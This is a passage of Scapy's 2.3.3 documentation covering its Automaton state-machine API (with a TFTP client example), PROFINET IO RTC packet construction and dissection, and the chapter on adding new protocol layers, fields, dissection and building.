"State=BEGIN" @ATMT.condition(BEGIN) def wait_for_nothing(self): print "Wait for nothing..." raise self.END() @ATMT.action(wait_for_nothing) def on_nothing(self): print "Action on 'nothing' condition" @ATMT.state(final=1) def END(self): print "State=END" In this example, we can see 3 decorators: * ``ATMT.state`` that is used to indicate that a method is a state, and that can have initial, final and error optional arguments set to non-zero for special states. * ``ATMT.condition`` that indicate a method to be run when the automaton state reaches the indicated state. The argument is the name of the method representing that state * ``ATMT.action`` binds a method to a transition and is run when the transition is taken. Running this example gives the following result:: >>> a=HelloWorld() >>> a.run() State=BEGIN Wait for nothing... Action on 'nothing' condition State=END This simple automaton can be described with the following graph: .. image:: graphics/ATMT_HelloWorld.* The graph can be automatically drawn from the code with:: >>> HelloWorld.graph() Changing states --------------- The ``ATMT.state`` decorator transforms a method into a function that returns an exception. If you raise that exception, the automaton state will be changed. If the change occurs in a transition, actions bound to this transition will be called. The parameters given to the function replacing the method will be kept and finally delivered to the method. The exception has a method action_parameters that can be called before it is raised so that it will store parameters to be delivered to all actions bound to the current transition. As an example, let's consider the following state:: @ATMT.state() def MY_STATE(self, param1, param2): print "state=MY_STATE. param1=%r param2=%r" % (param1, param2) This state will be reached with the following code:: @ATMT.receive_condition(ANOTHER_STATE) def received_ICMP(self, pkt): if ICMP in pkt: raise self.MY_STATE("got icmp", pkt[ICMP].type) Let's suppose we want to bind an action to this transition, that will also need some parameters:: @ATMT.action(received_ICMP) def on_ICMP(self, icmp_type, icmp_code): self.retaliate(icmp_type, icmp_code) The condition should become:: @ATMT.receive_condition(ANOTHER_STATE) def received_ICMP(self, pkt): if ICMP in pkt: raise self.MY_STATE("got icmp", pkt[ICMP].type).action_parameters(pkt[ICMP].type, pkt[ICMP].code) Real example ------------ Here is a real example take from Scapy. It implements a TFTP client that can issue read requests. .. image:: graphics/ATMT_TFTP_read.* :: class TFTP_read(Automaton): def parse_args(self, filename, server, sport = None, port=69, **kargs): Automaton.parse_args(self, **kargs) self.filename = filename self.server = server self.port = port self.sport = sport def master_filter(self, pkt): return ( IP in pkt and pkt[IP].src == self.server and UDP in pkt and pkt[UDP].dport == self.my_tid and (self.server_tid is None or pkt[UDP].sport == self.server_tid) ) # BEGIN @ATMT.state(initial=1) def BEGIN(self): self.blocksize=512 self.my_tid = self.sport or RandShort()._fix() bind_bottom_up(UDP, TFTP, dport=self.my_tid) self.server_tid = None self.res = "" self.l3 = IP(dst=self.server)/UDP(sport=self.my_tid, dport=self.port)/TFTP() self.last_packet = self.l3/TFTP_RRQ(filename=self.filename, mode="octet") self.send(self.last_packet) self.awaiting=1 raise self.WAITING() # WAITING @ATMT.state() def WAITING(self): pass @ATMT.receive_condition(WAITING) def receive_data(self, pkt): if TFTP_DATA in pkt and pkt[TFTP_DATA].block == self.awaiting: if self.server_tid is None: self.server_tid = pkt[UDP].sport self.l3[UDP].dport = self.server_tid raise self.RECEIVING(pkt) @ATMT.action(receive_data) def send_ack(self): self.last_packet = self.l3 / TFTP_ACK(block = self.awaiting) self.send(self.last_packet) @ATMT.receive_condition(WAITING, prio=1) def receive_error(self, pkt): if TFTP_ERROR in pkt: raise self.ERROR(pkt) @ATMT.timeout(WAITING, 3) def timeout_waiting(self): raise self.WAITING() @ATMT.action(timeout_waiting) def retransmit_last_packet(self): self.send(self.last_packet) # RECEIVED @ATMT.state() def RECEIVING(self, pkt): recvd = pkt[Raw].load self.res += recvd self.awaiting += 1 if len(recvd) == self.blocksize: raise self.WAITING() raise self.END() # ERROR @ATMT.state(error=1) def ERROR(self,pkt): split_bottom_up(UDP, TFTP, dport=self.my_tid) return pkt[TFTP_ERROR].summary() #END @ATMT.state(final=1) def END(self): split_bottom_up(UDP, TFTP, dport=self.my_tid) return self.res It can be run like this, for instance:: >>> TFTP_read("my_file", "192.168.1.128").run() Detailed documentation ---------------------- Decorators ^^^^^^^^^^ Decorator for states ~~~~~~~~~~~~~~~~~~~~ States are methods decorated by the result of the ``ATMT.state`` function. It can take 3 optional parameters, ``initial``, ``final`` and ``error``, that, when set to ``True``, indicate that the state is an initial, final or error state. :: class Example(Automaton): @ATMT.state(initial=1) def BEGIN(self): pass @ATMT.state() def SOME_STATE(self): pass @ATMT.state(final=1) def END(self): return "Result of the automaton: 42" @ATMT.state(error=1) def ERROR(self): return "Partial result, or explanation" # [...] Decorators for transitions ~~~~~~~~~~~~~~~~~~~~~~~~~~ Transitions are methods decorated by the result of one of ``ATMT.condition``, ``ATMT.receive_condition``, ``ATMT.timeout``. They all take as argument the state method they are related to. ``ATMT.timeout`` also have a mandatory ``timeout`` parameter to provide the timeout value in seconds. ``ATMT.condition`` and ``ATMT.receive_condition`` have an optional ``prio`` parameter so that the order in which conditions are evaluated can be forced. Default priority is 0. Transitions with the same priority level are called in an undetermined order. When the automaton switches to a given state, the state's method is executed. Then transitions methods are called at specific moments until one triggers a new state (something like ``raise self.MY_NEW_STATE()``). First, right after the state's method returns, the ``ATMT.condition`` decorated methods are run by growing prio. Then each time a packet is received and accepted by the master filter all ``ATMT.receive_condition`` decorated hods are called by growing prio. When a timeout is reached since the time we entered into the current space, the corresponding ``ATMT.timeout`` decorated method is called. :: class Example(Automaton): @ATMT.state() def WAITING(self): pass @ATMT.condition(WAITING) def it_is_raining(self): if not self.have_umbrella: raise self.ERROR_WET() @ATMT.receive_condition(WAITING, prio=1) def it_is_ICMP(self, pkt): if ICMP in pkt: raise self.RECEIVED_ICMP(pkt) @ATMT.receive_condition(WAITING, prio=2) def it_is_IP(self, pkt): if IP in pkt: raise self.RECEIVED_IP(pkt) @ATMT.timeout(WAITING, 10.0) def waiting_timeout(self): raise self.ERROR_TIMEOUT() Decorator for actions ~~~~~~~~~~~~~~~~~~~~~ Actions are methods that are decorated by the return of ``ATMT.action`` function. This function takes the transition method it is bound to as first parameter and an optional priority ``prio`` as a second parameter. Default priority is 0. An action method can be decorated many times to be bound to many transitions. :: class Example(Automaton): @ATMT.state(initial=1) def BEGIN(self): pass @ATMT.state(final=1) def END(self): pass @ATMT.condition(BEGIN, prio=1) def maybe_go_to_end(self): if random() > 0.5: raise self.END() @ATMT.condition(BEGIN, prio=2) def certainly_go_to_end(self): raise self.END() @ATMT.action(maybe_go_to_end) def maybe_action(self): print "We are lucky..." @ATMT.action(certainly_go_to_end) def certainly_action(self): print "We are not lucky..." @ATMT.action(maybe_go_to_end, prio=1) @ATMT.action(certainly_go_to_end, prio=1) def always_action(self): print "This wasn't luck!..." The two possible outputs are:: >>> a=Example() >>> a.run() We are not lucky... This wasn't luck!... >>> a.run() We are lucky... This wasn't luck!... Methods to overload ^^^^^^^^^^^^^^^^^^^ Two methods are hooks to be overloaded: * The ``parse_args()`` method is called with arguments given at ``__init__()`` and ``run()``. Use that to parametrize the behaviour of your automaton. * The ``master_filter()`` method is called each time a packet is sniffed and decides if it is interesting for the automaton. When working on a specific protocol, this is where you will ensure the packet belongs to the connection you are being part of, so that you do not need to make all the sanity checks in each transition. PROFINET IO RTC =============== PROFINET IO is an industrial protocol composed of different layers such as the Real-Time Cyclic (RTC) layer, used to exchange data. However, this RTC layer is stateful and depends on a configuration sent through another layer: the DCE/RPC endpoint of PROFINET. This configuration defines where each exchanged piece of data must be located in the RTC ``data`` buffer, as well as the length of this same buffer. Building such packet is then a bit more complicated than other protocols. RTC data packet --------------- The first thing to do when building the RTC ``data`` buffer is to instanciate each Scapy packet which represents a piece of data. Each one of them may require some specific piece of configuration, such as its length. All packets and their configuration are: * ``PNIORealTimeRawData``: a simple raw data like ``Raw`` * ``length``: defines the length of the data * ``Profisafe``: the PROFIsafe profile to perform functional safety * ``length``: defines the length of the whole packet * ``CRC``: defines the length of the CRC, either ``3`` or ``4`` * ``PNIORealTimeIOxS``: either an IO Consumer or Provider Status byte * Doesn't require any configuration To instanciate one of these packets with its configuration, the ``config`` argument must be given. It is a ``dict()`` which contains all the required piece of configuration:: >>> load_contrib('pnio_rtc') >>> str(PNIORealTimeRawData(load='AAA', config={'length': 4})) 'AAA\x00' >>> str(Profisafe(load='AAA', Control_Status=0x20, CRC=0x424242, config={'length': 8, 'CRC': 3})) 'AAA\x00 BBB' >>> hexdump(PNIORealTimeIOxS()) 0000 80 . RTC packet ---------- Now that a data packet can be instanciated, a whole RTC packet may be built. ``PNIORealTime`` contains a field ``data`` which is a list of all data packets to add in the buffer, however, without the configuration, Scapy won't be able to dissect it:: >>> load_contrib("pnio_rtc") >>> p=PNIORealTime(cycleCounter=1024, data=[ ... PNIORealTimeIOxS(), ... PNIORealTimeRawData(load='AAA', config={'length':4}) / PNIORealTimeIOxS(), ... Profisafe(load='AAA', Control_Status=0x20, CRC=0x424242, config={'length': 8, 'CRC': 3}) / PNIORealTimeIOxS(), ... ]) >>> p.show() ###[ PROFINET Real-Time ]### len= None dataLen= None \data\ |###[ PNIO RTC IOxS ]### | dataState= good | instance= subslot | reserved= 0x0 | extension= 0 |###[ PNIO RTC Raw data ]### | load= 'AAA' |###[ PNIO RTC IOxS ]### | dataState= good | instance= subslot | reserved= 0x0 | extension= 0 |###[ PROFISafe ]### | load= 'AAA' | Control_Status= 0x20 | CRC= 0x424242 |###[ PNIO RTC IOxS ]### | dataState= good | instance= subslot | reserved= 0x0 | extension= 0 padding= '' cycleCounter= 1024 dataStatus= primary+validData+run+no_problem transferStatus= 0 >>> p.show2() ###[ PROFINET Real-Time ]### len= 44 dataLen= 15 \data\ |###[ PNIO RTC Raw data ]### | load= '\x80AAA\x00\x80AAA\x00 BBB\x80' padding= '' cycleCounter= 1024 dataStatus= primary+validData+run+no_problem transferStatus= 0 For Scapy to be able to dissect it correctly, one must also configure the layer for it to know the location of each data in the buffer. This configuration is saved in the dictionary ``conf.contribs["PNIO_RTC"]`` which can be updated with the ``pnio_update_config`` method. Each item in the dictionary uses the tuple ``(Ether.src, Ether.dst)`` as key, to be able to separate the configuration of each communication. Each value is then a list of a tuple which describes a data packet. It is composed of the negative index, from the end of the data buffer, of the packet position, the class of the packet as second item and the ``config`` dictionary to provide to the class as last. If we continue the previous example, here is the configuration to set:: >>> load_contrib("pnio") >>> e=Ether(src='00:01:02:03:04:05', dst='06:07:08:09:0a:0b') / ProfinetIO() / p >>> e.show2() ###[ Ethernet ]### dst= 06:07:08:09:0a:0b src= 00:01:02:03:04:05 type= 0x8892 ###[ ProfinetIO ]### frameID= RT_CLASS_1 ###[ PROFINET Real-Time ]### len= 44 dataLen= 15 \data\ |###[ PNIO RTC Raw data ]### | load= '\x80AAA\x00\x80AAA\x00 BBB\x80' padding= '' cycleCounter= 1024 dataStatus= primary+validData+run+no_problem transferStatus= 0 >>> pnio_update_config({('00:01:02:03:04:05', '06:07:08:09:0a:0b'): [ ... (-9, Profisafe, {'length': 8, 'CRC': 3}), ... (-9 - 5, PNIORealTimeRawData, {'length':4}), ... ]}) >>> e.show2() ###[ Ethernet ]### dst= 06:07:08:09:0a:0b src= 00:01:02:03:04:05 type= 0x8892 ###[ ProfinetIO ]### frameID= RT_CLASS_1 ###[ PROFINET Real-Time ]### len= 44 dataLen= 15 \data\ |###[ PNIO RTC IOxS ]### | dataState= good | instance= subslot | reserved= 0x0L | extension= 0L |###[ PNIO RTC Raw data ]### | load= 'AAA' |###[ PNIO RTC IOxS ]### | dataState= good | instance= subslot | reserved= 0x0L | extension= 0L |###[ PROFISafe ]### | load= 'AAA' | Control_Status= 0x20 | CRC= 0x424242L |###[ PNIO RTC IOxS ]### | dataState= good | instance= subslot | reserved= 0x0L | extension= 0L padding= '' cycleCounter= 1024 dataStatus= primary+validData+run+no_problem transferStatus= 0 If no data packets are configured for a given offset, it defaults to a ``PNIORealTimeIOxS``. However, this method is not very convenient for the user to configure the layer and it only affects the dissection of packets. In such cases, one may have access to several RTC packets, sniffed or retrieved from a PCAP file. Thus, ``PNIORealTime`` provides some methods to analyse a list of ``PNIORealTime`` packets and locate all data in it, based on simple heuristics. All of them take as first argument an iterable which contains the list of packets to analyse. * ``PNIORealTime.find_data()`` analyses the data buffer and separate real data from IOxS. It returns a dict which can be provided to ``pnio_update_config``. * ``PNIORealTime.find_profisafe()`` analyses the data buffer and find the PROFIsafe profiles among the real data. It returns a dict which can be provided to ``pnio_update_config``. * ``PNIORealTime.analyse_data()`` executes both previous methods and update the configuration. **This is usually the method to call.** * ``PNIORealTime.draw_entropy()`` will draw the entropy of each byte in the data buffer. It can be used to easily visualize PROFIsafe locations as entropy is the base of the decision algorithm of ``find_profisafe``. :: >>> load_contrib('pnio_rtc') >>> t=rdpcap('/path/to/trace.pcap', 1024) >>> PNIORealTime.analyse_data(t) {('00:01:02:03:04:05', '06:07:08:09:0a:0b'): [(-19, , {'length': 1}), (-15, , {'CRC': 3, 'length': 6}), (-7, , {'CRC': 3, 'length': 5})]} >>> t[100].show() ###[ Ethernet ]### dst= 06:07:08:09:0a:0b src= 00:01:02:03:04:05 type= n_802_1Q ###[ 802.1Q ]### prio= 6L id= 0L vlan= 0L type= 0x8892 ###[ ProfinetIO ]### frameID= RT_CLASS_1 ###[ PROFINET Real-Time ]### len= 44 dataLen= 22 \data\ |###[ PNIO RTC Raw data ]### | load= '\x80\x80\x80\x80\x80\x80\x00\x80\x80\x80\x12:\x0e\x12\x80\x80\x00\x12\x8b\x97\xe3\x80' padding= '' cycleCounter= 6208 dataStatus= primary+validData+run+no_problem transferStatus= 0 >>> t[100].show2() ###[ Ethernet ]### dst= 06:07:08:09:0a:0b src= 00:01:02:03:04:05 type= n_802_1Q ###[ 802.1Q ]### prio= 6L id= 0L vlan= 0L type= 0x8892 ###[ ProfinetIO ]### frameID= RT_CLASS_1 ###[ PROFINET Real-Time ]### len= 44 dataLen= 22 \data\ |###[ PNIO RTC IOxS ]### | dataState= good | instance= subslot | reserved= 0x0L | extension= 0L [...] |###[ PNIO RTC IOxS ]### | dataState= good | instance= subslot | reserved= 0x0L | extension= 0L |###[ PNIO RTC Raw data ]### | load= '' |###[ PNIO RTC IOxS ]### | dataState= good | instance= subslot | reserved= 0x0L | extension= 0L [...] |###[ PNIO RTC IOxS ]### | dataState= good | instance= subslot | reserved= 0x0L | extension= 0L |###[ PROFISafe ]### | load= '' | Control_Status= 0x12 | CRC= 0x3a0e12L |###[ PNIO RTC IOxS ]### | dataState= good | instance= subslot | reserved= 0x0L | extension= 0L |###[ PNIO RTC IOxS ]### | dataState= good | instance= subslot | reserved= 0x0L | extension= 0L |###[ PROFISafe ]### | load= '' | Control_Status= 0x12 | CRC= 0x8b97e3L |###[ PNIO RTC IOxS ]### | dataState= good | instance= subslot | reserved= 0x0L | extension= 0L padding= '' cycleCounter= 6208 dataStatus= primary+validData+run+no_problem transferStatus= 0 In addition, one can see, when displaying a ``PNIORealTime`` packet, the field ``len``. This is a computed field which is not added in the final packet build. It is mainly useful for dissection and reconstruction, but it can also be used to modify the behaviour of the packet. In fact, RTC packet must always be long enough for an Ethernet frame and to do so, a padding must be added right after the ``data`` buffer. The default behaviour is to add ``padding`` whose size is computed during the ``build`` process:: >>> str(PNIORealTime(cycleCounter=0x4242, data=[PNIORealTimeIOxS()])) '\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00BB5\x00' However, one can set ``len`` to modify this behaviour. ``len`` controls the length of the whole ``PNIORealTime`` packet. Then, to shorten the length of the padding, ``len`` can be set to a lower value:: >>> str(PNIORealTime(cycleCounter=0x4242, data=[PNIORealTimeIOxS()], len=50)) '\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00BB5\x00' >>> str(PNIORealTime(cycleCounter=0x4242, data=[PNIORealTimeIOxS()])) '\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00BB5\x00' >>> str(PNIORealTime(cycleCounter=0x4242, data=[PNIORealTimeIOxS()], len=30)) '\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00BB5\x00' scapy-2.3.3/doc/scapy/backmatter.rst000066400000000000000000000007721300136037300173730ustar00rootroot00000000000000 ********* Credits ********* - Philippe Biondi is Scapy's author. He has also written most of the documentation. - Fred Raynal wrote the chapter on building and dissecting packets. - Sebastien Martini added some details in "Handling default values: automatic computation". - Peter Kacherginsky contributed several tutorial sections, one-liners and recipes. - Dirk Loss integrated and restructured the existing docs to make this book. He has also written the installation instructions for Windows. scapy-2.3.3/doc/scapy/build_dissect.rst000066400000000000000000001126721300136037300200760ustar00rootroot00000000000000******************** Adding new protocols ******************** Adding new protocol (or more correctly: a new *layer*) in Scapy is very easy. All the magic is in the fields. If the fields you need are already there and the protocol is not too brain-damaged, this should be a matter of minutes. Simple example ============== A layer is a subclass of the ``Packet`` class. All the logic behind layer manipulation is hold by the ``Packet`` class and will be inherited. A simple layer is compounded by a list of fields that will be either concatenated when assembling the layer or dissected one by one when disassembling a string. The list of fields is held in an attribute named ``fields_desc``. Each field is an instance of a field class:: class Disney(Packet): name = "DisneyPacket " fields_desc=[ ShortField("mickey",5), XByteField("minnie",3) , IntEnumField("donald" , 1 , { 1: "happy", 2: "cool" , 3: "angry" } ) ] In this example, our layer has three fields. The first one is an 2 byte integer field named ``mickey`` and whose default value is 5. The second one is a 1 byte integer field named ``minnie`` and whose default value is 3. The difference between a vanilla ``ByteField`` and a ``XByteField`` is only the fact that the preferred human representation of the field’s value is in hexadecimal. The last field is a 4 byte integer field named ``donald``. It is different from a vanilla ``IntField`` by the fact that some of the possible values of the field have literate representations. For example, if it is worth 3, the value will be displayed as angry. Moreover, if the "cool" value is assigned to this field, it will understand that it has to take the value 2. If your protocol is as simple as this, it is ready to use:: >>> d=Disney(mickey=1) >>> ls(d) mickey : ShortField = 1 (5) minnie : XByteField = 3 (3) donald : IntEnumField = 1 (1) >>> d.show() ###[ Disney Packet ]### mickey= 1 minnie= 0x3 donald= happy >>> d.donald="cool" >>> str(d) ’\x00\x01\x03\x00\x00\x00\x02’ >>> Disney( ) This chapter explains how to build a new protocol within Scapy. There are two main objectives: * Dissecting: this is done when a packet is received (from the network or a file) and should be converted to Scapy’s internals. * Building: When one wants to send such a new packet, some stuff needs to be adjusted automatically in it. Layers ====== Before digging into dissection itself, let us look at how packets are organized. :: >>> p = IP()/TCP()/"AAAA" >>> p >> >>> p.summary() 'IP / TCP 127.0.0.1:ftp-data > 127.0.0.1:www S / Raw' We are interested in 2 "inside" fields of the class ``Packet``: * ``p.underlayer`` * ``p.payload`` And here is the main "trick". You do not care about packets, only about layers, stacked one after the other. One can easily access a layer by its name: ``p[TCP]`` returns the ``TCP`` and followings layers. This is a shortcut for ``p.getlayer(TCP)``. .. note:: There is an optional argument (``nb``) which returns the ``nb`` th layer of required protocol. Let's put everything together now, playing with the ``TCP`` layer:: >>> tcp=p[TCP] >>> tcp.underlayer >> >>> tcp.payload As expected, ``tcp.underlayer`` points to the beginning of our IP packet, and ``tcp.payload`` to its payload. Building a new layer -------------------- .. index:: single: Layer VERY EASY! A layer is mainly a list of fields. Let's look at ``UDP`` definition:: class UDP(Packet): name = "UDP" fields_desc = [ ShortEnumField("sport", 53, UDP_SERVICES), ShortEnumField("dport", 53, UDP_SERVICES), ShortField("len", None), XShortField("chksum", None), ] And you are done! There are many fields already defined for convenience, look at the doc``^W`` sources as Phil would say. So, defining a layer is simply gathering fields in a list. The goal is here to provide the efficient default values for each field so the user does not have to give them when he builds a packet. The main mechanism is based on the ``Field`` structure. Always keep in mind that a layer is just a little more than a list of fields, but not much more. So, to understanding how layers are working, one needs to look quickly at how the fields are handled. Manipulating packets == manipulating its fields ----------------------------------------------- .. index:: single: i2h() single: i2m() single: m2i() A field should be considered in different states: - ``i`` (nternal) : this is the way Scapy manipulates it. - ``m`` (achine) : this is where the truth is, that is the layer as it is on the network. - ``h`` (uman) : how the packet is displayed to our human eyes. This explains the mysterious methods ``i2h()``, ``i2m()``, ``m2i()`` and so on available in each field: they are conversion from one state to another, adapted to a specific use. Other special functions: - ``any2i()`` guess the input representation and returns the internal one. - ``i2repr()`` a nicer ``i2h()`` However, all these are "low level" functions. The functions adding or extracting a field to the current layer are: - ``addfield(self, pkt, s, val)``: copy the network representation of field ``val`` (belonging to layer ``pkt``) to the raw string packet ``s``:: class StrFixedLenField(StrField): def addfield(self, pkt, s, val): return s+struct.pack("%is"%self.length,self.i2m(pkt, val)) - ``getfield(self, pkt, s)``: extract from the raw packet ``s`` the field value belonging to layer ``pkt``. It returns a list, the 1st element is the raw packet string after having removed the extracted field, the second one is the extracted field itself in internal representation:: class StrFixedLenField(StrField): def getfield(self, pkt, s): return s[self.length:], self.m2i(pkt,s[:self.length]) When defining your own layer, you usually just need to define some ``*2*()`` methods, and sometimes also the ``addfield()`` and ``getfield()``. Example: variable length quantities ----------------------------------- There is way to represent integers on a variable length quantity often used in protocols, for instance when dealing with signal processing (e.g. MIDI). Each byte of the number is coded with the MSB set to 1, except the last byte. For instance, 0x123456 will be coded as 0xC8E856:: def vlenq2str(l): s = [] s.append( hex(l & 0x7F) ) l = l >> 7 while l>0: s.append( hex(0x80 | (l & 0x7F) ) ) l = l >> 7 s.reverse() return "".join(map( lambda(x) : chr(int(x, 16)) , s)) def str2vlenq(s=""): i = l = 0 while i>> f = FOO(data="A"*129) >>> f.show() ###[ FOO ]### len= 0 data= 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' Here, ``len`` is not yet computed and only the default value are displayed. This is the current internal representation of our layer. Let's force the computation now:: >>> f.show2() ###[ FOO ]### len= 129 data= 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' The method ``show2()`` displays the fields with their values as they will be sent to the network, but in a human readable way, so we see ``len=129``. Last but not least, let us look now at the machine representation:: >>> str(f) '\x81\x01AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' The first 2 bytes are ``\x81\x01``, which is 129 in this encoding. Dissecting ========== .. index:: dissecting Layers are only list of fields, but what is the glue between each field, and after, between each layer. These are the mysteries explain in this section. The basic stuff --------------- The core function for dissection is ``Packet.dissect()``:: def dissect(self, s): s = self.pre_dissect(s) s = self.do_dissect(s) s = self.post_dissect(s) payl,pad = self.extract_padding(s) self.do_dissect_payload(payl) if pad and conf.padding: self.add_payload(Padding(pad)) When called, ``s`` is a string containing what is going to be dissected. ``self`` points to the current layer. :: >>> p=IP("A"*20)/TCP("B"*32) WARNING: bad dataofs (4). Assuming dataofs=5 >>> p >> ``Packet.dissect()`` is called 3 times: 1. to dissect the ``"A"*20`` as an IPv4 header 2. to dissect the ``"B"*32`` as a TCP header 3. and since there are still 12 bytes in the packet, they are dissected as "``Raw``" data (which is some kind of default layer type) For a given layer, everything is quite straightforward: - ``pre_dissect()`` is called to prepare the layer. - ``do_dissect()`` perform the real dissection of the layer. - ``post_dissection()`` is called when some updates are needed on the dissected inputs (e.g. deciphering, uncompressing, ... ) - ``extract_padding()`` is an important function which should be called by every layer containing its own size, so that it can tell apart in the payload what is really related to this layer and what will be considered as additional padding bytes. - ``do_dissect_payload()`` is the function in charge of dissecting the payload (if any). It is based on ``guess_payload_class()`` (see below). Once the type of the payload is known, the payload is bound to the current layer with this new type:: def do_dissect_payload(self, s): cls = self.guess_payload_class(s) p = cls(s, _internal=1, _underlayer=self) self.add_payload(p) At the end, all the layers in the packet are dissected, and glued together with their known types. Dissecting fields ----------------- The method with all the magic between a layer and its fields is ``do_dissect()``. If you have understood the different representations of a layer, you should understand that "dissecting" a layer is building each of its fields from the machine to the internal representation. Guess what? That is exactly what ``do_dissect()`` does:: def do_dissect(self, s): flist = self.fields_desc[:] flist.reverse() while s and flist: f = flist.pop() s,fval = f.getfield(self, s) self.fields[f] = fval return s So, it takes the raw string packet, and feed each field with it, as long as there are data or fields remaining:: >>> FOO("\xff\xff"+"B"*8) When writing ``FOO("\xff\xff"+"B"*8)``, it calls ``do_dissect()``. The first field is VarLenQField. Thus, it takes bytes as long as their MSB is set, thus until (and including) the first '``B``'. This mapping is done thanks to ``VarLenQField.getfield()`` and can be cross-checked:: >>> vlenq2str(2097090) '\xff\xffB' Then, the next field is extracted the same way, until 2097090 bytes are put in ``FOO.data`` (or less if 2097090 bytes are not available, as here). If there are some bytes left after the dissection of the current layer, it is mapped in the same way to the what the next is expected to be (``Raw`` by default):: >>> FOO("\x05"+"B"*8) > Hence, we need now to understand how layers are bound together. Binding layers -------------- One of the cool features with Scapy when dissecting layers is that is try to guess for us what the next layer is. The official way to link 2 layers is using ``bind_layers()``: For instance, if you have a class ``HTTP``, you may expect that all the packets coming from or going to port 80 will be decoded as such. This is simply done that way:: bind_layers( TCP, HTTP, sport=80 ) bind_layers( TCP, HTTP, dport=80 ) That's all folks! Now every packet related to port 80 will be associated to the layer ``HTTP``, whether it is read from a pcap file or received from the network. The ``guess_payload_class()`` way ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Sometimes, guessing the payload class is not as straightforward as defining a single port. For instance, it can depends on a value of a given byte in the current layer. The 2 needed methods are: - ``guess_payload_class()`` which must return the guessed class for the payload (next layer). By default, it uses links between classes that have been put in place by ``bind_layers()``. - ``default_payload_class()`` which returns the default value. This method defined in the class ``Packet`` returns ``Raw``, but it can be overloaded. For instance, decoding 802.11 changes depending on whether it is ciphered or not:: class Dot11(Packet): def guess_payload_class(self, payload): if self.FCfield & 0x40: return Dot11WEP else: return Packet.guess_payload_class(self, payload) Several comments are needed here: - this cannot be done using ``bind_layers()`` because the tests are supposed to be "``field==value``", but it is more complicated here as we test a single bit in the value of a field. - if the test fails, no assumption is made, and we plug back to the default guessing mechanisms calling ``Packet.guess_payload_class()`` Most of the time, defining a method ``guess_payload_class()`` is not a necessity as the same result can be obtained from ``bind_layers()``. Changing the default behavior ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ If you do not like Scapy's behavior for a given layer, you can either change or disable it through the call to ``split_layer()``. For instance, if you do not want UDP/53 to be bound with ``DNS``, just add in your code: `` split_layers(UDP, DNS, sport=53) `` Now every packet with source port 53 will not be handled as DNS, but whatever you specify instead. Under the hood: putting everything together ------------------------------------------- In fact, each layer has a field payload_guess. When you use the bind_layers() way, it adds the defined next layers to that list. :: >>> p=TCP() >>> p.payload_guess [({'dport': 2000}, ), ({'sport': 2000}, ), ... )] Then, when it needs to guess the next layer class, it calls the default method ``Packet.guess_payload_class()``. This method runs through each element of the list payload_guess, each element being a tuple: - the 1st value is a field to test (``'dport': 2000``) - the 2nd value is the guessed class if it matches (``Skinny``) So, the default ``guess_payload_class()`` tries all element in the list, until one matches. If no element are found, it then calls ``default_payload_class()``. If you have redefined this method, then yours is called, otherwise, the default one is called, and ``Raw`` type is returned. ``Packet.guess_payload_class()`` - test what is in field ``guess_payload`` - call overloaded ``guess_payload_class()`` Building ======== Building a packet is as simple as building each layer. Then, some magic happens to glue everything. Let's do magic then. The basic stuff --------------- First thing to establish: what does "build" mean? As we have seen, a layer can be represented in different ways (human, internal, machine). Building means going to the machine format. Second thing to understand is ''when'' a layer is built. Answer is not that obvious, but as soon as you need the machine representation, the layers are built: when the packet is dropped on the network or written to a file, when it is converted as a string, ... In fact, machine representation should be regarded as a big string with the layers appended altogether. :: >>> p = IP()/TCP() >>> hexdump(p) 0000 45 00 00 28 00 01 00 00 40 06 7C CD 7F 00 00 01 E..(....@.|..... 0010 7F 00 00 01 00 14 00 50 00 00 00 00 00 00 00 00 .......P........ 0020 50 02 20 00 91 7C 00 00 P. ..|.. Calling ``str()`` builds the packet: - non instanced fields are set to their default value - lengths are updated automatically - checksums are computed - and so on. In fact, using ``str()`` rather than ``show2()`` or any other method is not a random choice as all the functions building the packet calls ``Packet.__str__()``. However, ``__str__()`` calls another method: ``build()``:: def __str__(self): return self.__iter__().next().build() What is important also to understand is that usually, you do not care about the machine representation, that is why the human and internal representations are here. So, the core method is ``build()`` (the code has been shortened to keep only the relevant parts):: def build(self,internal=0): pkt = self.do_build() pay = self.build_payload() p = self.post_build(pkt,pay) if not internal: pkt = self while pkt.haslayer(Padding): pkt = pkt.getlayer(Padding) p += pkt.load pkt = pkt.payload return p So, it starts by building the current layer, then the payload, and ``post_build()`` is called to update some late evaluated fields (like checksums). Last, the padding is added to the end of the packet. Of course, building a layer is the same as building each of its fields, and that is exactly what ``do_build()`` does. Building fields --------------- The building of each field of a layer is called in ``Packet.do_build()``:: def do_build(self): p="" for f in self.fields_desc: p = f.addfield(self, p, self.getfieldval(f)) return p The core function to build a field is ``addfield()``. It takes the internal view of the field and put it at the end of ``p``. Usually, this method calls ``i2m()`` and returns something like ``p.self.i2m(val)`` (where ``val=self.getfieldval(f)``). If ``val`` is set, then ``i2m()`` is just a matter of formatting the value the way it must be. For instance, if a byte is expected, ``struct.pack("B", 